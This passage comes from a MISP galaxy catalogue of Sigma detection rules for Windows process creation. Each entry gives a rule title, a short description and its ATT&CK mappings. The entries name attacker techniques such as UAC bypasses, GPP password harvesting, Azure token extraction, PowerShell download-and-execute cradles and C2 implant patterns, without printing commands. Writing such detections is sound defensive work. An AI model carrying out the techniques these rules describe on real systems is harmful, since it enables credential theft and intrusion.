https://web.archive.org/web/20230726144748/https://blog.thickmints.dev/mintsights/detecting-rogue-rdp/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mstsc_run_local_rdp_file_susp_location.yml

New Port Forwarding Rule Added Via Netsh.EXE

Detects the execution of netsh commands that configure a new port forwarding (PortProxy) rule

The tag is: *misp-galaxy:sigma-rules="New Port Forwarding Rule Added Via Netsh.EXE"*

View relationships graph

New Port Forwarding Rule Added Via Netsh.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"

Table 14933. Table References

Links
https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html
https://www.dfirnotes.net/portproxy_detection/
https://adepts.of0x.cc/netsh-portproxy-code/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_port_forwarding.yml

Suspicious Rundll32 Invoking Inline VBScript

Detects suspicious process related to rundll32 based on command line that invokes inline VBScript as seen being used by UNC2452

The tag is: *misp-galaxy:sigma-rules="Suspicious Rundll32 Invoking Inline VBScript"*

View relationships graph

Suspicious Rundll32 Invoking Inline VBScript has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

Table 14934. Table References

Links
https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_inline_vbs.yml

Remote PowerShell Session Host Process (WinRM)

Detects remote PowerShell sections by monitoring for wsmprovhost (WinRM host process) as a parent or child process (sign of an active PowerShell remote session).

The tag is: *misp-galaxy:sigma-rules="Remote PowerShell Session Host Process (WinRM)"*

View relationships graph

Remote PowerShell Session Host Process (WinRM) has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1021.006" with estimative-language:likelihood-probability="almost-certain"

Table 14935. Table References

Links
https://threathunterplaybook.com/hunts/windows/190511-RemotePwshExecution/notebook.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winrm_remote_powershell_session_process.yml

HackTool - Empire PowerShell Launch Parameters

Detects suspicious powershell command line parameters used in Empire

The tag is: *misp-galaxy:sigma-rules="HackTool - Empire PowerShell Launch Parameters"*

View relationships graph

HackTool - Empire PowerShell Launch Parameters has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 14936. Table References

Links

https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/lib/modules/powershell/persistence/powerbreach/deaduser.py#L191
https://github.com/EmpireProject/Empire/blob/c2ba61ca8d2031dad0cfc1d5770ba723e8b710db/lib/common/helpers.py#L165
https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/lib/modules/powershell/persistence/powerbreach/resolver.py#L178
https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-EventVwrBypass.ps1#L64
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_empire_powershell_launch.yml

Terminal Service Process Spawn

Detects a process spawned by the terminal service server process (this could be an indicator for an exploitation of CVE-2019-0708)

The tag is: *misp-galaxy:sigma-rules="Terminal Service Process Spawn"*

View relationships graph

Terminal Service Process Spawn has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"

Table 14937. Table References

Links
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rdp-stands-for-really-do-patch-understanding-the-wormable-rdp-vulnerability-cve-2019-0708/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_svchost_termserv_proc_spawn.yml

HackTool - Certipy Execution

Detects Certipy execution, a tool for Active Directory Certificate Services enumeration and abuse based on PE metadata characteristics and common command line arguments.

The tag is: *misp-galaxy:sigma-rules="HackTool - Certipy Execution"*

View relationships graph

HackTool - Certipy Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Steal or Forge Authentication Certificates - T1649" with estimative-language:likelihood-probability="almost-certain"

Table 14938. Table References

Links
https://github.com/ly4k/Certipy
https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_certipy.yml

Suspicious UltraVNC Execution

Detects suspicious UltraVNC command line flag combination that indicate a auto reconnect upon execution, e.g. startup (as seen being used by Gamaredon threat group)

The tag is: *misp-galaxy:sigma-rules="Suspicious UltraVNC Execution"*

View relationships graph

Suspicious UltraVNC Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="VNC - T1021.005" with estimative-language:likelihood-probability="almost-certain"

Table 14939. Table References

Links
https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution
https://web.archive.org/web/20220224045756/https://www.ria.ee/sites/default/files/content-editors/kuberturve/tale_of_gamaredon_infection.pdf
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine
https://uvnc.com/docs/uvnc-viewer/52-ultravnc-viewer-commandline-parameters.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ultravnc_susp_execution.yml

Lolbin Unregmp2.exe Use As Proxy

Detect usage of the "unregmp2.exe" binary as a proxy to launch a custom version of "wmpnscfg.exe"

The tag is: *misp-galaxy:sigma-rules="Lolbin Unregmp2.exe Use As Proxy"*

View relationships graph

Lolbin Unregmp2.exe Use As Proxy has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 14940. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Unregmp2/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_unregmp2.yml

Cloudflared Tunnel Execution

Detects execution of the "cloudflared" tool to connect back to a tunnel. This was seen used by threat actors to maintain persistence and remote access to compromised networks.

The tag is: *misp-galaxy:sigma-rules="Cloudflared Tunnel Execution"*

View relationships graph

Cloudflared Tunnel Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"

Table 14941. Table References

Links
https://github.com/cloudflare/cloudflared
https://blog.reconinfosec.com/emergence-of-akira-ransomware-group
https://developers.cloudflare.com/cloudflare-one/connections/connect-apps
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cloudflared_tunnel_run.yml

Findstr GPP Passwords

Look for the encrypted cpassword value within Group Policy Preference files on the Domain Controller. This value can be decrypted with gpp-decrypt.

The tag is: *misp-galaxy:sigma-rules="Findstr GPP Passwords"*

View relationships graph

Findstr GPP Passwords has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Group Policy Preferences - T1552.006" with estimative-language:likelihood-probability="almost-certain"

Table 14942. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.006/T1552.006.md#atomic-test-1---gpp-passwords-findstr
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_gpp_passwords.yml

Renamed Remote Utilities RAT (RURAT) Execution

Detects execution of renamed Remote Utilities (RURAT) via Product PE header field

The tag is: *misp-galaxy:sigma-rules="Renamed Remote Utilities RAT (RURAT) Execution"*

Table 14943. Table References

Links
https://redcanary.com/blog/misbehaving-rats/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_rurat.yml

WhoAmI as Parameter

Detects a suspicious process command line that uses whoami as first parameter (as e.g. used by EfsPotato)

The tag is: *misp-galaxy:sigma-rules="WhoAmI as Parameter"*

View relationships graph

WhoAmI as Parameter has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

Table 14944. Table References

Links
https://twitter.com/blackarrowsec/status/1463805700602224645?s=12
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_whoami_as_param.yml

Explorer NOUACCHECK Flag

Detects suspicious starts of explorer.exe that use the /NOUACCHECK flag that allows to run all sub processes of that newly started explorer.exe without any UAC checks

The tag is: *misp-galaxy:sigma-rules="Explorer NOUACCHECK Flag"*

View relationships graph

Explorer NOUACCHECK Flag has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 14945. Table References

Links
https://twitter.com/ORCA6665/status/1496478087244095491
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_explorer_nouaccheck.yml

HackTool - Sliver C2 Implant Activity Pattern

Detects process activity patterns as seen being used by Sliver C2 framework implants

The tag is: *misp-galaxy:sigma-rules="HackTool - Sliver C2 Implant Activity Pattern"*

View relationships graph

HackTool - Sliver C2 Implant Activity Pattern has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 14946. Table References

Links
https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/
https://github.com/BishopFox/sliver/blob/79f2d48fcdfc2bee4713b78d431ea4b27f733f30/implant/sliver/shell/shell_windows.go#L36
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sliver_c2_execution_pattern.yml

Using SettingSyncHost.exe as LOLBin

Detects using SettingSyncHost.exe to run hijacked binary

The tag is: *misp-galaxy:sigma-rules="Using SettingSyncHost.exe as LOLBin"*

View relationships graph

Using SettingSyncHost.exe as LOLBin has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Path Interception by Search Order Hijacking - T1574.008" with estimative-language:likelihood-probability="almost-certain"

Table 14947. Table References

Links
https://www.hexacorn.com/blog/2020/02/02/settingsynchost-exe-as-a-lolbin
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_settingsynchost.yml

Suspicious PowerShell IEX Execution Patterns

Detects suspicious ways to run Invoke-Execution using IEX alias

The tag is: *misp-galaxy:sigma-rules="Suspicious PowerShell IEX Execution Patterns"*

View relationships graph

Suspicious PowerShell IEX Execution Patterns has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 14948. Table References

Links
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.2
https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_iex_patterns.yml

Suspicious WMIC Execution Via Office Process

Office application called wmic to proxye execution through a LOLBIN process. This is often used to break suspicious parent-child chain (Office app spawns LOLBin).

The tag is: *misp-galaxy:sigma-rules="Suspicious WMIC Execution Via Office Process"*

View relationships graph

Suspicious WMIC Execution Via Office Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"

Table 14949. Table References

Links
https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi(aka_REvil)_Ransomware.yaml
https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_susp_execution_via_office_process.yml

Windows Shell/Scripting Processes Spawning Suspicious Programs

Detects suspicious child processes of a Windows shell and scripting processes such as wscript, rundll32, powershell, mshta...etc.

The tag is: *misp-galaxy:sigma-rules="Windows Shell/Scripting Processes Spawning Suspicious Programs"*

View relationships graph

Windows Shell/Scripting Processes Spawning Suspicious Programs has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 14950. Table References

Links
https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shell_spawn_susp_program.yml

Potentially Suspicious WebDAV LNK Execution

Detects possible execution via LNK file accessed on a WebDAV server.

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious WebDAV LNK Execution"*

View relationships graph

Potentially Suspicious WebDAV LNK Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"

Table 14951. Table References

Links
https://micahbabinski.medium.com/search-ms-webdav-and-chill-99c5b23ac462
https://www.trellix.com/en-us/about/newsroom/stories/research/beyond-file-search-a-novel-method.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webdav_lnk_execution.yml

Msxsl.EXE Execution

Detects the execution of the MSXSL utility. This can be used to execute Extensible Stylesheet Language (XSL) files. These files are commonly used to describe the processing and rendering of data within XML files. Adversaries can abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses.

The tag is: *misp-galaxy:sigma-rules="Msxsl.EXE Execution"*

View relationships graph

Msxsl.EXE Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="XSL Script Processing - T1220" with estimative-language:likelihood-probability="almost-certain"

Table 14952. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1220/T1220.md
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Msxsl/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msxsl_execution.yml

Wab Execution From Non Default Location

Detects execution of wab.exe (Windows Contacts) and Wabmig.exe (Microsoft Address Book Import Tool) from non default locations as seen with bumblebee activity

The tag is: *misp-galaxy:sigma-rules="Wab Execution From Non Default Location"*

Table 14953. Table References

Links
https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/
https://thedfirreport.com/2022/09/26/bumblebee-round-two/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wab_execution_from_non_default_location.yml

New ActiveScriptEventConsumer Created Via Wmic.EXE

Detects WMIC executions in which an event consumer gets created. This could be used to establish persistence

The tag is: *misp-galaxy:sigma-rules="New ActiveScriptEventConsumer Created Via Wmic.EXE"*

View relationships graph

New ActiveScriptEventConsumer Created Via Wmic.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"

Table 14954. Table References

Links
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf
https://twitter.com/johnlatwc/status/1408062131321270282?s=12
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_eventconsumer_creation.yml

Potential Commandline Obfuscation Using Escape Characters

Detects potential commandline obfuscation using known escape characters

The tag is: *misp-galaxy:sigma-rules="Potential Commandline Obfuscation Using Escape Characters"*

View relationships graph

Potential Commandline Obfuscation Using Escape Characters has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

Table 14955. Table References

Links
https://twitter.com/Hexacorn/status/885570278637678592
https://twitter.com/Hexacorn/status/885553465417756673
https://twitter.com/vysecurity/status/885545634958385153
https://www.mandiant.com/resources/blog/obfuscation-wild-targeted-attackers-lead-way-evasion-techniques
https://web.archive.org/web/20190213114956/http://www.windowsinspired.com/understanding-the-command-line-string-and-arguments-received-by-a-windows-program/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cli_obfuscation_escape_char.yml

File Download And Execution Via IEExec.EXE

Detects execution of the IEExec utility to download and execute files

The tag is: *misp-galaxy:sigma-rules="File Download And Execution Via IEExec.EXE"*

View relationships graph

File Download And Execution Via IEExec.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 14956. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Ieexec/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ieexec_download.yml

Potential Defense Evasion Activity Via Emoji Usage In CommandLine - 1

Detects the usage of emojis in the command line, this could be a sign of potential defense evasion

activity.

The tag is: *misp-galaxy:sigma-rules="Potential Defense Evasion Activity Via Emoji Usage In CommandLine - 1"*

Table 14957. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_emoji_usage_in_cli_1.yml

Sdclt Child Processes

A General detection for sdclt spawning new processes. This could be an indicator of sdclt being used for bypass UAC techniques.

The tag is: *misp-galaxy:sigma-rules="Sdclt Child Processes"*

View relationships graph

Sdclt Child Processes has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 14958. Table References

Links
https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/3.B.2_C36B49B5-DF58-4A34-9FE9-56189B9DEFEA.md
https://github.com/OTRF/detection-hackathon-apt29/issues/6
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdclt_child_process.yml

Cab File Extraction Via Wusa.EXE From Potentially Suspicious Paths

Detects the execution of the "wusa.exe" (Windows Update Standalone Installer) utility to extract ".cab" files using the "/extract" argument from potentially suspicious paths.

The tag is: *misp-galaxy:sigma-rules="Cab File Extraction Via Wusa.EXE From Potentially Suspicious Paths"*

Table 14959. Table References

Links

https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html
https://www.echotrail.io/insights/search/wusa.exe/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wusa_cab_files_extraction_from_susp_paths.yml

Rundll32 Spawned Via Explorer.EXE

Detects execution of "rundll32.exe" with a parent process of Explorer.exe. This has been observed by variants of Raspberry Robin, as first reported by Red Canary.

The tag is: *misp-galaxy:sigma-rules="Rundll32 Spawned Via Explorer.EXE"*

Table 14960. Table References

Links
https://redcanary.com/blog/raspberry-robin/
https://thedfirreport.com/2022/09/26/bumblebee-round-two/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_parent_explorer.yml

Suspicious Reg Add BitLocker

Detects suspicious addition to BitLocker related registry keys via the reg.exe utility

The tag is: *misp-galaxy:sigma-rules="Suspicious Reg Add BitLocker"*

View relationships graph

Suspicious Reg Add BitLocker has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"

Table 14961. Table References

Links
https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_bitlocker.yml

Suspicious ZipExec Execution

ZipExec is a Proof-of-Concept (POC) tool to wrap binary-based tools into a password-protected zip file.

The tag is: *misp-galaxy:sigma-rules="Suspicious ZipExec Execution"*

View relationships graph

Suspicious ZipExec Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 14962. Table References

Links
https://github.com/Tylous/ZipExec
https://twitter.com/SBousseaden/status/1451237393017839616
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_zipexec.yml

Rundll32 Execution Without Parameters

Detects rundll32 execution without parameters as observed when running Metasploit windows/smb/psexec exploit module

The tag is: *misp-galaxy:sigma-rules="Rundll32 Execution Without Parameters"*

View relationships graph

Rundll32 Execution Without Parameters has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 14963. Table References

Links
https://bczyz1.github.io/2021/01/30/psexec.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_without_parameters.yml

Potential Signing Bypass Via Windows Developer Features

Detects when a user enable developer features such as "Developer Mode" or "Application Sideloading". Which allows the user to install untrusted packages.

The tag is: *misp-galaxy:sigma-rules="Potential Signing Bypass Via Windows Developer Features"*

Table 14964. Table References

Links
https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_systemsettingsadminflows_turn_on_dev_features.yml

Suspicious Child Process Of Manage Engine ServiceDesk

Detects suspicious child processes of the "Manage Engine ServiceDesk Plus" Java web service

The tag is: *misp-galaxy:sigma-rules="Suspicious Child Process Of Manage Engine ServiceDesk"*

View relationships graph

Suspicious Child Process Of Manage Engine ServiceDesk has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"

Table 14965. Table References

Links
https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/
https://github.com/horizon3ai/CVE-2022-47966/blob/3a51c6b72ebbd87392babd955a8fbeaee2090b35/CVE-2022-47966.py
https://blog.viettelcybersecurity.com/saml-show-stopper/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_java_manageengine_susp_child_process.yml

User Added To Highly Privileged Group

Detects addition of users to highly privileged groups via "Net" or "Add-LocalGroupMember".

The tag is: *misp-galaxy:sigma-rules="User Added To Highly Privileged Group"*

View relationships graph

User Added To Highly Privileged Group has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

Table 14966. Table References

Links
https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_add_user_privileged_group.yml

HackTool - LocalPotato Execution

Detects the execution of the LocalPotato POC based on basic PE metadata information and default CLI examples

The tag is: *misp-galaxy:sigma-rules="HackTool - LocalPotato Execution"*

Table 14967. Table References

Links
https://www.localpotato.com/localpotato_html/LocalPotato.html
https://github.com/decoder-it/LocalPotato
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_localpotato.yml

Greedy File Deletion Using Del

Detects execution of the "del" builtin command to remove files using greedy/wildcard expression. This is often used by malware to delete content of folders that perhaps contains the initial malware infection or to delete evidence.

The tag is: *misp-galaxy:sigma-rules="Greedy File Deletion Using Del"*

View relationships graph

Greedy File Deletion Using Del has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

Table 14968. Table References

Links

https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/erase
https://www.joesandbox.com/analysis/509330/0/html#1044F3BDBE3BB6F734E357235F4D5898582D
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_del_greedy_deletion.yml

Obfuscated PowerShell OneLiner Execution

Detects the execution of a specific OneLiner to download and execute powershell modules in memory.

The tag is: *misp-galaxy:sigma-rules="Obfuscated PowerShell OneLiner Execution"*

View relationships graph

Obfuscated PowerShell OneLiner Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 14969. Table References

Links
https://gist.github.com/mgeeky/3b11169ab77a7de354f4111aa2f0df38
https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_download_cradle_obfuscated.yml

Suspicious ArcSOC.exe Child Process

Detects script interpreters, command-line tools, and similar suspicious child processes of ArcSOC.exe. ArcSOC.exe is the process name which hosts ArcGIS Server REST services. If an attacker compromises an ArcGIS Server system and uploads a malicious Server Object Extension (SOE), they can send crafted requests to the corresponding service endpoint and remotely execute code from the ArcSOC.exe process.

The tag is: *misp-galaxy:sigma-rules="Suspicious ArcSOC.exe Child Process"*

View relationships graph

Suspicious ArcSOC.exe Child Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with

estimative-language:likelihood-probability="almost-certain"

Table 14970. Table References

Links
https://enterprise.arcgis.com/en/server/12.0/administer/windows/inside-an-arcgis-server-site.htm
https://reliaquest.com/blog/threat-spotlight-inside-flax-typhoons-arcgis-compromise/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_arcsoc_susp_child_process.yml

Suspicious PowerShell Encoded Command Patterns

Detects PowerShell command line patterns in combincation with encoded commands that often appear in malware infection chains

The tag is: *misp-galaxy:sigma-rules="Suspicious PowerShell Encoded Command Patterns"*

View relationships graph

Suspicious PowerShell Encoded Command Patterns has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 14971. Table References

Links
https://app.any.run/tasks/b9040c63-c140-479b-ad59-f1bb56ce7a97/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_base64_encoded_cmd_patterns.yml

UAC Bypass Using NTFS Reparse Point - Process

Detects the pattern of UAC Bypass using NTFS reparse point and wusa.exe DLL hijacking (UACMe 36)

The tag is: *misp-galaxy:sigma-rules="UAC Bypass Using NTFS Reparse Point - Process"*

View relationships graph

UAC Bypass Using NTFS Reparse Point - Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 14972. Table References

Links
https://github.com/hfiref0x/UACME

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_ntfs_reparse_point.yml

File Explorer Folder Opened Using Explorer Folder Shortcut Via Shell

Detects the initial execution of "cmd.exe" which spawns "explorer.exe" with the appropriate command line arguments for opening the "My Computer" folder.

The tag is: *misp-galaxy:sigma-rules="File Explorer Folder Opened Using Explorer Folder Shortcut Via Shell"*

View relationships graph

File Explorer Folder Opened Using Explorer Folder Shortcut Via Shell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"

Table 14973. Table References

Links
https://ss64.com/nt/shell.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_explorer_folder_shortcut_via_shell_binary.yml

Renamed BrowserCore.EXE Execution

Detects process creation with a renamed BrowserCore.exe (used to extract Azure tokens)

The tag is: *misp-galaxy:sigma-rules="Renamed BrowserCore.EXE Execution"*

View relationships graph

Renamed BrowserCore.EXE Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1528" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Rename Legitimate Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"

Table 14974. Table References

Links
https://twitter.com/mariuszbit/status/1531631015139102720
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_browsercore.yml

Potential Network Sniffing Activity Using Network Tools

